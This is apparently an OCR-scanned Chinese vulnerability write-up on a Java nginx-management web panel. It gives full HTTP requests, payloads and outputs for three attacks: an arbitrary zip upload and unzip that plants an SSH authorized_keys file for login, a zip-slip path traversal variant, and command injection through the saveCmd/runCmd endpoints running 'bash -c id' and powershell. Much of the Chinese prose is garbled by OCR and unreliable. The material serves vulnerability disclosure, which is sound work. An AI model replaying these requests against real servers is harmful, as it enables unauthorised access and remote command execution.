==

AU

&R, FTERAXERD, PHMEEEELEGIITNINER, FikKiErce, B\t T —L3I89KE.
XjRhookddigZE, WEIT T —Trce, H—EEE, MUXRMRAErce, ZREMETUT/LTE, SXERHN
3.9.8hk A, BERINIEFT3.9.9, FTIEHER, HFREBE-T/ITR, NMZHMAIUER.

0x01 zip HfEIE

com.cym.controller.adminPage.MainController#upload

@apping(
JsonResult upload(Context UploadedFile file) {

{
File temp = File( FileUtil.getTmpDir() + File. + file.getName().replace(

)
file.transferTo(temp)

renderSuccess(temp.getPath().replace(
(IllegalStateException | IOException e) {

.error(e.getMessage(), e)

renderError()

INRELEERE R, AIIUNERIEtmpdir+'/+XH&H#E, REREFEE, RERHIER, HLREITREIERLEA,

HrFileUtil.getTmpDir(SiREX R ZMYIGET B 3%, macRHR

File fileCURL url) FileCURLUtil. toURICurl))

String getTmpDirPath() {
System. getProperty(

Evaluate
Expression:

System. getProperty(

Result:
vV 0Oresult =
> O value = {/,v,ar/ folders/n/sijz_2zmb513n4g125n4gw6¢c2b_Imo000,
hash =0




ubuntu R IR B FA/tmp,

Xt N A RTIRINEE R

&R

R Ef&zip3F

a2

AIImXBERE T zip L5, ERBEMNERHIIKBFIER, BERFELENXGHREIGITE R,

LEBERmE

BRER  Amp/ &

Lfezipl RIS 17D
—

AR EERBRNzZpETREMPX, R
REBRAXGERAZ=ES, WIESEH

SBANEERFERN, AR
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@apping( )
JsonResult addOver(Www www, String dirTemp) {
(w .hasDir(www.getDir(), www.getId())) {
renderError(m.get( ))

{
ZipUtil.unzip(dirTemp, www.getDir());
(Exception e) {

ZipUtil.unzip(dirTemp, www.getDir(), Charset. forName( ))

FileUtil.del(dirTemp)

.insertOrUpdate(www)

renderSuccess();

FIMEER, HNEEFIRERR, URFERENXY, KEEABzZpHITEE.
MBALAHEZREERT, TmpDir(BfIZE, XHRIE, HNNIABELE—TsshBPE . sshBR THMAIMUT .

gm
SRR EfEzip Kt

BT L%

LERSARE | #EE
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LigBESRTE X

BHRER -l

Lfezio® [REElS ¢l



Request
Pretty Raw Hex

B n =

Response

Pretty Raw Hex Render Markinfo

B n =

POST /adminPage/main/upload HTTP/1.1

Host: 127.0.0.1:8088

Content-Length: 834

sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
Accept: application/json, text/javascript, */%; gq=0.01
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarylAo7HvnszoMKnxyS
X-Requested-With: XMLHttpRequest

sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "mac0S"

Origin: http://127.0.0.1:8088

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://127.0.0.1:8088/adminPage/www
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_lvt_8acef669eab6f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
67d75cd3aa574abfa898543014c3clea

Connection: close

OV As WN

w0 N

NV EAE WNES

—————=WebKitFormBoundarylAo7HvnszoMKnxyS
Content-Disposition: form-data; name="fi
1.zip"

3 Content-Type: application/zip

7 filename="

5 PK@)}X @Ih§?authorized_keysUT
967907 ux00  GOEGEH00NCH, 6" 06 EOO
90K_7650000003000266 ! 6X1u600n6>00LR ; 6665GEOWTSpsee, LEG0O
960V +0600000c5PEI0GE | 006_10160_6066+(60666T) 965n6"
%0 (=. peee+996 1102625006 : 06BOKI=270GEI666/1.066 (§; tH7xx6s
GnBV 1By A<Bo="" @;BBnREGEGHOZnGHINGENEG _6( |Gy806"
9660Ke666v~00G62669BR¥a] GGGRXOH=[KE" GO TEIgMEI>+a® 0 xGHHUGX
tal.9669;6s916/N6106666666I{hOIVE9s: _§66661w69~06: 16660T
d66-66, 96 cHU0WEH606000663066600YXH0GWNGGB] BYBHOPKE) I X
#Ih§78Bauthorized_keysUT§ETuxBGPKU

1 HTTP/1.1 200 0K

2 Connection: close

3 Set-Cookie: SOLONID=67d75cd3aa574abfa898543014c3clea;
path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024 04:09:42
GMT

4 Content-Type: application/json;charset=utf-8

5 Content-Length: 94

6 Date: Fri, 29 Mar 2024 02:09:42 GMT

7

8

{
"success":true,
"status":"200",
"obj ":
"/var/folders/ln/sjz_zm513ng125ngw6c2b_1m@0@ogn/T/1.zi
p"

—~ e VT r d

FINERIMUR EERItmpER, XEmacoshy, ubutufE/tmp T

i Epio)

BHRER

/Users/snake/.ssh/

Efeziptl WEEITSGCM 1.7Ip

AR WEEERNzZpEREERAPX, KNz
HEBRAXHREAEZES, HIREH

EEIFsshB %,

inspector & ||
Request Attributes
Request Query Parar
Request Body Pararr
Request Cookies
Request Headers

Response Headers




m = . Inspector

Request Response
Pretty Raw Hex MarkInfo B \n = Pretty Raw Hex Render S E Request Atti
4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104" 1 HTTP/1.1 200 OK
5 Accept: application/json, text/javascript, x/x; 2 Connection: close
- ’ Request Bor
q=0.01 3 Set-Cookie: SOLONID=67d75cd3aa574abfa898543014c3clea
6 Content-Type: application/x-www-form-urlencoded; ; path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024
charset=UTF-8 04:14:33 GMT Request Co
7 X-Requested-With: XMLHttpRequest 4 Content-Type: application/json;charset=utf-8
8 sec-ch-ua-mobile: 70 5 Content-Length: 31 Request He:
9 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; 6 Date: Fri, 29 Mar 2024 02:14:33 GMT
x64) AppleWebKit/537.36 (KHTML, like Gecko) 7
Chrome/104.0.5112.102 Safari/537.36 8 { il
sec-ch-ua-platform: "macO0S" "success'":true,
Origin: http://127.0.0.1:8088 "status":"200"
Sec-Fetch-Site: same-origin }

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://127.0.0.1:8088/adminPage/www
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;qg=0.9

Cookie: Hm_1lvt_f8cddee34ca21f@05373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_1lvt_8acef669ea66f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
67d75cd3aa574abfa898543014c3clea

9 Connection: close

ONOOUVMEWNES

[y

id=&dir=%2FUsers%2Fsnake%2F.ssh%2F&dirTemp=
%2Fvar%s2Ffolders%2F1ln%2Fsjz_zm513ng125ngw6c2b_1mo00ee
gn%2FT%2F1.zip

XN ERIE L

@Mapping( )
JsonResult addOver(Www www, String dirTemp) {
( .hasDir( .getDir(), www.getId())) {
renderError(m.get( ))

sjoo) eyeq Big ©

{

ZipUtil.unzip(dirTemp, www.getDir())

(Exception e) {

ZipUtil.unzip(dirTemp, www.getDir(), Charset. forName(

FileUtil.del(dirTemp)
.insertOrUpdate(www)

randarSiicrace()

Variables

null
id =
createTime = null
teTime = null

dirTemp

B ERzipfEERIsshB



config id_rsa.pub known_hosts
id_rsa known_hosts known_hosts

authorized_keys id_rsa known_hosts known_hosts.old

config id_rsa.pub known_hosts.bak
base S )24
1s -1d authorized_keys

-rw-r--r-- 1 snake staff 575 Mar 29 10:17 authorized_keys

base ~/.ssh

FYINEEER]ssh

base 219

ssh snake@127.0.0.1 -i /Users/snake/Downloads/id_rsa

base
id

uid=501(snake) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserverad

,98( _1lpadmin),399(com.apple.access_ssh),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsuse
),395(com.apple.access_ftp),398(com.apple.access_screensharing),400(com.apple.access_remote_ae),701(com.apple.sharepoint.
roup.1)

base ~

0x02 zipB R F il

LFEAMEZE, HXREEIT—R, EAEZpRENMESERIEEEN, AREBLZEERFT, SMERE.



Request

U e WN =

~ ()]

o

10
11
12
13
14
15
16
17
18

19
20
21

Raw Markinfo B \n =

POST /adminPage/www/addOver HTTP/1.1
Host: 127.0.0.1:8088

Content-Length: 109

sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
Accept: application/json, text/javascript, */x;
q=0.01

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

X-Requested-With: XMLHttpRequest

sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "mac0S"

Origin: http://127.0.0.1:8088

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec~-Fetch-Dest: empty

Referer: http://127.0.0.1:8088/adminPage/www
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: Hm_1lvt_f8cddee34ca21f05373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_1lvt_8acef669eab66f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
67d75cd3aa574abfa898543014c3clea

Connection: close

Hex

id=&dir=%2FUsers%2Fsnake%2F.ssh%2F&dirTemp=

gn%2FT%2F1.zip

«

%2Fvar%s2Ffolders%2Fn%2Fsjz_zm513ng125ngw6c2b_1meeee

oNOWUL A

Response

Pretty Raw Hex Rer B N =
1 HTTP/1.1 200 OK

2 Connection: close

3 Set-Cookie: SOLONID=67d75cd3aa574abfa898543014c3clea

; path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024
04:39:06 GMT

Content-Type: application/json;charset=utf-8
Content-Length: 53

Date: Fri, 29 Mar 2024 02:39:06 G

{
"success":false,
"“status":"500",
"msg":"HBIEEE"

com.cym.controller.adminPage.WwwController#addOver

@Mapping( )
JsonResult addOver(Www www
( .hasDir(www.getDir()

renderError(m.get(

{
ZipUtil.unzip(dirTemp
(Exception e) {

ZipUtil.unzip(dirTemp

FileUtil.del(dirTemp)

www.getDir(Q))

String dirTemp) {
www.getId())) {

D))

www.getDir(), Charset. forName(

Insps
Requ
Requ
Requ
Requ
Requ

Respt




@Component

WwwService {

@Inject

SqlHelper

Boolean %asDir(String dir, String id) {
ConditionAndWrapper conditionAndWrapper = ConditionAndWrapper().eq(
(StrUtil. isNotEmpty(id)) {
conditionAndWrapper.ne( id)

.findCountByQuery(conditionAndWrapper, Www. ) >

Long|findCountByQuery(ConditionWrapper conditionWrapper, Class<?> clazz) {
List<String> values = ArraylList<~>(Q)

String sql = + StrUtil. toUnderlineCase(clazz.getSimpleName()) +
(conditionWrapper != &% conditionWrapper.notEmpty()) {

sql += + conditionWrapper.build(values)

logQuery(formatSql(sql), values.toArray())
.queryForCount(formatSql(sgl), values.toArray())

XEINEREEE, R RATN LEEREEEE, FERBHEE.
XEEFMRANE, BE—HHE

Boolean hasDir(String dir, String id) {

sjoo) ejeq big

ConditionAndWrapper conditionAndWrapper = ConditionAndWrapper().eq(
(StrUtil. isNotEmpty(id)) {
conditionAndWropper.de( id)

.findCountByQuery(conditionAndWrapper, Www. ) >

fE\sshilid, {EHEEEREBHNERNXERS




RSN E1R
GRS
- remsana | naws |
ks oNRE
B2 i BE
pRHER Users/snakel ssh/  E81 mexex | wuazw | o |

R e {432 (server)
treamSHEE \

$215%i(upstream)

table[lay-
size=sm] td

#bbbbbb; text:

idRTBAE #%123R13,

Request Response wu= = Inspecto

f Rl Hex MarkInfo = \n = Pr;ny Raw Hex B \n = Request Al

1 POST /adminPage/www/addOver HTTP/1.1 1 HTTP/1.1 200 OK

2 Host: 127.0.0.1:8088 2 Connection: close Request Q

3 Content-Length: 127 3 Set-Cookie: SOLONID=67d75cd3aa574abfa898543014c3clea

4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104" ; path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024

5 Accept: application/json, text/javascript, */x; 04:50:13 GMT Request B
q=0.01 4 Content-Type: application/json;charset=utf-8

6 Content-Type: application/x-www-form-urlencoded; 5 Content-Length: 31 Request C
charset=UTF-8 6 Date: Fri, 29 Mar 2024 02:50:13 GMT

7 X—Requested—W@th: XMLHttpRequest 7 Request H

8 sec-ch-ua-mobile: 70 8 {

9 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; "success":true,
x64) AppleWebKit/537.36 (KHTML, like Gecko) "status":"200" Response
Chrome/104.0.5112.102 Safari/537.36 ¥

10 sec-ch-ua-platform: "mac0S" \

11 Origin: http://127.0.0.1:8088

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

15 Referer: http://127.0.0.1:8088/adminPage/www

16 Accept-Encoding: gzip, deflate

17 Accept-Language: zh-CN,zh;q=0.9

18 Cookie: Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_lvt_8acef669eab66f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=

67d75cd3aa574abfa898543014c3clea
19 Connection: close

20

21 id=971035476620349440&dir=%2FUsers%2Fsnake%2F.ssh%2F
&dirTemp=
%2Fvar%s2Ffolders%2Fln%2Fsjz_zm513ng125ngw6c2b_1m0000
gn%2FT%2F1.zip

ENEMAINIERE

B _MFiLERER S

cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipFile, java.io.File, long)



File unzip(ZipFile zipFile, File outFile limit) IORuntimeException {
(outFile.exists() &% outFile.isFile()) {
IllegalArgumentException(StrUtil. format( v Object[]{outFile.getAbsolutePath()}))
{
(limit > oL) {
Enumeration<? ex ZipEntry> zipEntries = zipFile.entries()

zipFileSize = 0

(zipEntries.hasMoreElements()) {
ZipEntry zipEntry = (ZipEntry)zipEntries.nextElement()
zipFileSize += zipEntry.getSize()
(zipFileSize > limit) {
IllegalArgumentException(

ZipReader reader = ZipReader(zipFile);
Throwable varil8 =

{
reader.readTo(outFile);

(Throwable varils) {
varl8 = varils

varils

zipentryigBXt../TIE.

ZipfREREIRENzip B RFEAITITIR, ATURIUAR AzipE RFEREX M, dirfRiEZRBERIMIT,

g

E1Ezip_slip.zip
FHSWITT L

LERSATE | AR
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BirBx é
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1
2
3
4
5
6

7

o

10
11
12
13
14
15
16
17
18

19
20
21
22

23
24
25

Pretty

Request

Raw Hex = \n =

POST /adminPage/main/upload HTTP/1.1

Host: 127.0.0.1:8088

Content-Length: 875

sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
Accept: application/json, text/javascript, */%; q=0.01
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryVbyvAlhQHUyMUAD®
X-Requested-With: XMLHttpRequest

sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "mac0S"

Origin: http://127.0.0.1:8088

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://127.0.0.1:8088/adminPage/www
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: Hm_1lvt_f8cddee34ca21f@5373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_1lvt_8acef669eab6f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
67d75cd3aa574abfa898543014c3clea

Connection: close

------ WebKitFormBoundaryVbyvAlhQHUyMUAD®
Content-Disposition: form-data; name="file"; filename="
zip_Slip.zip"

Content-Type: applicatio;/zip/
PKX}X2../uu/uu/eu/eo/ o /USers/snake/.ssh/authorized_keys
©°>GOEGHOUONED, 6] "00 E0O

99K_?0s0006663606206 1 6X1ub66ne>66LR; $665CH0WTSpae6, LEG0E
G00v+0000066c3PEI000 | 000_10100_0060+ (06666T) 66500

%0 (=. peee+006 162625606 : 99BOKI=2T0GHIH66/ 1666 (§; t67xxBs
OnBV116v A#Bo="" @;@6nRUGEEHOZNEHINGENG _6( |6y06"
9660Keb66Vv "~ 99G62609BR#a] GEORXGH=1E" GO THIgME>+ab 0 xHHHUHX
tal.%960;6s616/NG1b666EE606I {hOIVEEE: _U60001wee~00: 10666T

d66-69, $9cH00WEE600000005666600YX00GWNEGB] ByBeePK
GIhG?PKXIX

A=p /
FEERER
Request
Pretty Raw Hex Markinfo =] \n =
1 POST /adminPage/www/addOver HTTP/1.1
2 Host: 127.0.0.1:8088
3 Content-Length: 96
4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
5 Accept: application/json, text/javascript, x/x;

©

10
11
12
13
14
15
16
17
18

19
20
21

q=0.01

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "mac0S"

Origin: http://127.0.0.1:8088

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec~-Fetch-Dest: empty

Referer: http://127.0.0.1:8088/adminPage/www
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_1lvt_8acef669eab66f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
67d75cd3aa574abfa898543014c3clea

Connection: close

id=&dir=/Users/snake/.ssh/&dirTemp=
/var/folders/\n/sjz_zm513ng125ngw6c2b_1m@0@0@@gn/T/zip
_Slip.zip

o ~NOWUL A

Response
Pretty

1
2
3

oL A

Response

Pretty ~ Raw  Hex  Render  Markinfo \n =
1 HTTP/1.1 200 OK

2 Connection: close

3 Set-Cookie: SOLONID=67d75cd3aa574abfa898543014c3clea;

path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024 05:02:37
GMT

Content-Type: application/json;charset=utf-8
Content-Length: 101

Date: Fri, 29 Mar 2024 03:02:37 GMT

{
"success'":true,
"“status":"200",
"obj":
"/var/folders/\n/sjz_zm513ng125ngw6c2b_1m@ee@egn/T/zip_
Slip.zip"

8 n

Hex

HTTP/1.1 200 0K

Connection: close

Set-Cookie: SOLONID=67d75cd3aa574abfa898543014c3clea
; path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024
05:03:32 GMT

Content-Type: application/json;charset=utf-8
Content-Length: 53

Date: Fri, 29 Mar 2024 ©03:03:32 GMT

Raw Render

{
"success'":false,
"status":"500",
"msg" MRREE"

Inspect
Request
Request
Request
Request
Request

Respons:

mnspe

Reque

Reque

Reque

Reque

Reque

Respo



FEREREREE, INBEMNAMERS—1AitFEENER, BREIEER

Request

Raw Hex Markinfo B \n =
1 POST /adminPage/www/addOver HTTP/1.1
2 Host: 127.0.0.1:8088
3 Content-Length: 91
4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
5 Accept: application/json, text/javascript, */x;

q=0.01
6 Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

7 X-Requested-With: XMLHttpRequest

sec-ch-ua-mobile: ?70

9 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36

10 sec-ch-ua-platform: "mac0S"

11 Origin: http://127.0.0.1:8088

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

15 Referer: http://127.0.0.1:8088/adminPage/www

16 Accept-Encoding: gzip, deflate

17 Accept-Language: zh-CN,zh;q=0.9

18 Cookie: Hm_1lvt_f8cddee34ca21f05373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_1lvt_8acef669ea66f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
67d75cd3aa574abfa898543014c3clea

19 Connection: close

20

21 id=&dir=/Users/snake/&dirTemp=
/var/folders/ln/sjzRm513ng125ngw6c2b_1lm@@@AgNn/T/zip
_Slip.zip

o

N

C

REMRILEE.

s

1s -1d authorized_keys

-rw-r--r-- 1 snake staff

base ~/.ssh

id dir

971035476 |Users/snake/.ssh/
971044889 [Users/snake/

HEEEERIRE.

Pretty Raw Hex = \n

AT,

sponse

HTTP/1.1 200 0K

Connection: close

Set-Cookie: SOLONID=67d75cd3aa574abfa898543014c3clea
; path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024
05:06:48 GMT

Content-Type: application/json;charset=utf-8
Content-Length: 31

Date: Fri, 29 Mar 2024 03:06:48 GMT

W N

®NO WL A

{

"success":true,
"status":"200"

575 Mar 29 11:06 authorized_keys

create_time

update_time

1711680613524
1711681608435

171167936422:
171168160843t

miopewIw

Request Attributes

Request Query Parameters

Request Body Parameters

Request Cookies

Request Headers

Response Headers




0x03 runcmdZeiTiE L an S HIT

com.cym.controller.adminPage.ConfController#runCmd

@apping(value = )
JsonResult ranmd(String cmd, String type) {

(StrUtil. isNotEmpty(type)) {
.set(type, cmd)

(!isAvailableCmd(cmd)) {

renderSuccess(m.get(

{
String rs =
(SystemTool. isWindows()) {

RuntimeUtil. exec(

{

rs = RuntimeUtil.execForStr(

A ABERZFHRBICcmAIHATIIR, EHITHIZRT,

com.cym.controller.adminPage.ConfController#isAvailableCmd

isAvailableCmd(String cmd) {

String nginxPath = ToolUtils.handleConf(
.set( nginxPath)

String nginxExe = ToolUtils.handleConf(
.set( nginxExe)

String nginxDir = ToolUtils.handleConf(

.set( nginxDir)

(emd) {




String dir =
(StrUtil. isNotEmpty(

dir = +

(ecmd. equals( + dir)) {

(cmd. equals( ) +dir) {

A BASGiEENnginxPath, nginxExe. nginxDir="M&, BRFIMiE R TEcaseRBEH, FEMFANIT, FTERSFIRT
cmd#FlisettingService.get("nginxExe") + " -c " + settingService.get("nginxPath") + dir@ R~ 28%, 8%
MARIT, BERRNIT

com.cym.controller.adminPage.ConfController#saveCmd

@apping(value = )
JsonResult (String nginxPath, String nginxExe, String nginxDir) {
nginxPath = ToolUtils.handlePath(nginxPath)
.set( nginxPath)

nginxExe = ToolUtils.handlePath(nginxExe)

.set( nginxExe)

nginxDir = ToolUtils.handlePath(nginxDir)
.set( nginxDir)

Map<String, String> map = HashMap<>()
map . put( nginxPath)

map . put( nginxExe)

map . put( nginxDir)

renderSuccess(map)

MR ="MEFA ] B B,



E

String handlePath(String path) {
(StrUtil. isEmpty(path)) {
path

path.replace(

.replace(

.replaceAll(

[\\s

SXMEER TR, ELEERIFST., linuxB$IFSKBEZ=HH1T, winBpowershell.exe(calc) #i1T

g

Request
Raw Hex B \n =
1 POST /adminPage/conf/saveCmd| HTTP/1.1
2 Host: 127.0.0.1:8088
3 Content-Length: 63
4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
5 Accept: application/json, text/javascript, */%; q=0.01
6 Content-Type: application/x-www-form-urlencoded;

w0 N

10
11
12

3
14
15
16
17

8
19
20
21

charset=UTF-8

X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "mac0S"

Origin: http://127.0.0.1:8088

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://127.0.0.1:8088/adminPage/conf
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: SOLONID=2d60305ab2d247469494e2665ac21c45
Connection: close

nginxExe=powershell.exe&nginxDir=&nginxPath=

powershell.exe(dir) \

FAZMME

o ~NOoO WL A

Response

Pretty Raw Hex R B \n =
1 HTTP/1.1 200 0K

2 Connection: close

3 Set-Cookie: SOLONID=2d60305ab2d247469494e2665ac21c45;

path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024 09:44:16
GMT

Content-Type: application/json;charset=utf-8
Content-Length: 115
Date: Fri, 29 Mar 2024 07:44:16 GMT
{
"success":true,
"“status":"200",
"obj":{
"nginxDir":"",
"'nginxPath":"powershell.exe(dir)",
"nginxExe":"powershell.exe"
¥
}

Inspecto

Selection

Selected

saveCm

Decodec

Request A
Request Q
Request B
Request C
Request H

Response



TsojanScan  Autorize  Wsdler  HaE  BurpCrypto
6x 7x B8x 9x 10x +

Issue the uest = m
Rod T s a

y Raw  Hex  Markinfo N = | Pretty Raw  Hex r n o=
1 POST /adminPage/conf/runCmd HTTP/1.1 1 HTTP/1.1 200 0K
2 Host: 127.0.0.1:8088 2 Connection: close
3 Content-Length: 56 3 Set-Cookie: SOLONID=2d60305ab2d247469494e2665ac21cd5;
4 sec-ch-ua: " Not A;Brand”;v="99", "Chromium";v="104" path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024 09:26:51
5 Accept: application/json, text/javascript, */x; q=0.01 GMT
6 Content-Type: application/x-www-form-urlencoded; 4 Content-Type: application/json;charset=utf-g
charset=UTF-8 5 Content-Length: 124
7 X-Requested-With: XMLHttpRequest 6 Date: Fri, 29 Mar 2024 07:26:51 GMT
8 sec-ch-ua-mobile: 70 7
9 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) 8 {
ApplewebKit/537.36 (KHTML, like Gecko) “success":true,
Chrome/104.0.5112.102 Safari/537.36 “status":"200",
10 sec-ch-ua-platform: "mac0s" Yobj":
11 Origin: http://127.0.0.1:8088 “<span class='blue'>powershell.exe —c powershell.exe(c
12 Sec-Fetch-Site: same-origin alc)</span><br>iE{TMIh<br>"
13 Sec-Fetch-Mode: cors b

14 Sec-Fetch-Dest: empty

15 Referer: http://127.0.0.1:8088/adminPage/conf

16 Accept-Encoding: gzip, deflate

17 Accept-Language: zh-CN,zh;q=0.9

18 Cookie: SOLONID=2d60305ab2d247469494e2665ac21c45

19 Connection: close

20

21 cmd=powershell.exe+-c+powershell.exe(calc)&type=cmdStart

RLIhHAT

POST /adminPage/conf/saveCmd HTTP/1.1 HTTP/1.1 200 OK

1 1
2 Host: 127.0.0.1:8088 2 Connection: close
3 Content-Length: 36 3 Set-Cookie: SOLONID=67d75cd3aa574abfa898543014c3clea
4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104" path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024 05:21
5 Accept: application/json, text/javascript, *x/%; q=0.01 GMT
6 Content-Type: application/x-www-form-urlencoded; 4 Content-Type: application/json;charset=utf-8
charset=UTF-8 5 Content-Length: 88
7 X-Requested-With: XMLHttpRequest 6 Date: Fri, 29 Mar 2024 03:21:35 GMT
8 sec-ch-ua-mobile: 70 7
9 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) 8 {
AppleWebKit/537.36 (KHTML, like Gecko) "success":true,
Chrome/104.0.5112.102 Safari/537.36 "status":"200",
@ sec-ch-ua-platform: "mac0S" "obj":{
1 Origin: http://127.0.0.1:8088 “nginxDir":"",
2 Sec-Fetch-Site: same-origin "nginxPath":"id",
3 Sec-Fetch-Mode: cors "nginxExe":"bash"
4 Sec-Fetch-Dest: empty }
5 Referer: http://127.0.0.1:8088/adminPage/conf }
6 Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9

Cookie: Hm_1lvt_f8cddee34ca21f05373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_1lvt_8acef669eab6f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
67d75cd3aa574abfa898543014c3clea

Connection: close

[t}

0

-

nginxExe=bash&nginxDir=&nginxPath=id



HTAEEIE, FrAT

equest

Raw Hex Markinfo B \n =

L POST /adminPage/conf/runCmd HTTP/1.1

Host: 127.0.0.1:8088

Content-Length: 28

sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
Accept: application/json, text/javascript, */%; q=0.01
Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

X-Requested-With: XMLHttpRequest

B sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "macO0S"

L Origin: http://127.0.0.1:8088

Sec-Fetch-Site:
Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://127.0.0.1:8088/adminPage/conf

same-origin

> Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

B Cookie: Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=

1697007254,1697015466,1697073461,1697455685;
Hm_lvt_B8acef669eab66f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
c4ff0856da344e0fb26874b4ed7ele32

Connection: close

cmd=bash+-c+id&type=cmdStart|

AT,

String handlePath(String path) {
(StrUtil. isEmpty(path)) {
path

path.replace(

.replace(

.replaceAll(

Response

Pretty Raw

N =

o W

J

Hex

HTTP/1.1 200 0K

Connection: close

Set-Cookie: SOLONID=c4ff@856da344e0fb26874b4ed7ele32;
path=/; Max-Age=7200; Expires=Thu, 28-Mar-2024 22:34:40
GMT

Content-Type: application/json;charset=utf-8
Content-Length: 473

Date: Thu, 28 Mar 2024 20:34:40 GMT

{
"success":true,
“status":"200",
"obj":
“"<span class='blue'>bash -c id</span><br>iE{T%kM<br>uid
=501(snake) gid=20@(staff) groups=20(staff),12(everyone
),61(localaccounts),79(_appserverusr),80(admin),81(_ap
pserveradm),98(_1lpadmin),399(com.apple.access_ssh),501
